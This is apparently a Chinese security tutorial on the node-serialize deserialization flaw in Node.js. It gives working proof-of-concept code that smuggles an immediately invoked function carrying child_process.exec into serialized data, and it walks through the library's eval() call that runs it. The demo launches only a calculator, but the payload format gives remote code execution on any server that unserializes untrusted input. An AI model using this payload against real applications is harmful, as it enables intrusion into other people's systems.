0x01 简介

Node.js在node-serialize模块中存在反序列化漏洞,若unserialize()函数参数外部可控,则通过IIFE(Immediately Invoked Function Expression)可以实现RCE。

0x02 环境搭建

需要安装node-serialize模块:

1
npm install node-serialize

0x03 序列化

序列化代码如下,serialize.js:

1
2
3
4
5
6
7
var y = {
function(){
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
}
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

变量y是一段payload,用于启动一个子线程来执行calc命令,这里输出序列化后的内容:

1
2
3
E:\>node serialize.js
Serialized:
{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}"}

0x04 IIFE

前面得到了序列化的字符串之后,就可以用unserialize()函数进行反序列化了。那么问题来了,怎么代码执行呢?这就用到了JavaScript的IIFE了。

IIFE(Immediately Invoked Function Expression)立即调用的函数表达式,即声明函数的同时立即调用该函数,目的是为了隔离作用域,防止污染全局命名空间。

IIFE一般有如下两种写法:

1
2
(function(){ /* code /* }());
(function(){ /* code /* })();

有时,我们需要在定义函数之后,立即调用该函数。此时,你不能再函数的定义之后加上圆括号,这是因为会产生语法错误,错误原因是function这个关键字既可以当作语句,也可以当作表达式。为了避免其余,规定function关键字出现在行首时,解释为语句。因此,若是以function开头的代码则必须像前面一样的写法才能成功在定义时被当作表达式执行。

写下Demo试下,下面两种形式都能成功弹计算器:

1
2
3
4
5
6
7
(function() {
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
}());
// 或
(function() {
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
})();

在前面序列化的代码serialize.js中,要想在序列化时直接执行该函数,可以将代码修改如下:

1
2
3
4
5
6
7
var y = {
poc : function(){
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
}()
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));

0x05 反序列化触发RCE

前面序列化得到如下内容:

1
{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}"}

在此基础上,为了在服务端进行反序列化操作的时候能触发RCE,我们直接在函数定义的后面追加()来构造即可(为啥能这么构造后面会说到):

1
{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()"}

反序列化代码如下,unserialize.js:

1
2
3
4
5
var s = require('node-serialize');

var payload = '{"function":"_$$ND_FUNC$$_function(){\\r\\n\\t\\trequire(\'child_process\').exec(\'calc\', function(error, stdout, stderr){ console.log(stdout) });\\r\\n\\t}()"}'

s.unserialize(payload);

运行即可触发RCE弹计算器:

0x06 漏洞分析

我们看源码,位于NodeJS\node_modules\node-serialize\lib\serialize.js,其中反序列化相关的代码如下:

这里当解析到将要反序列化的内容中的键值为string类型时,判断是否包含FUNCFLAG变量值即_$$ND_FUNC$$_,在前面的代码中有定义,该值表明其中的内容是个函数:

回到前面的if判断条件中往下走,若是则调用76行中的eval()方法来执行其中的语句。同时,由于JS的IIFE,使得刚刚定义的恶意函数就能够马上得以执行,从而RCE。

有个疑问,为啥这里不需要向前面IIFE小节中说的给function定义加()使其不是function开头呢?我们看到eval()那行代码:

明显看到,它已经给我们的整个的function给加上了括号括起来,我们只需要在函数定义后面加上()即可满足IIFE的其中一种格式,从而成功RCE。

0x07 参考

利用 Node.js 反序列化漏洞远程执行代码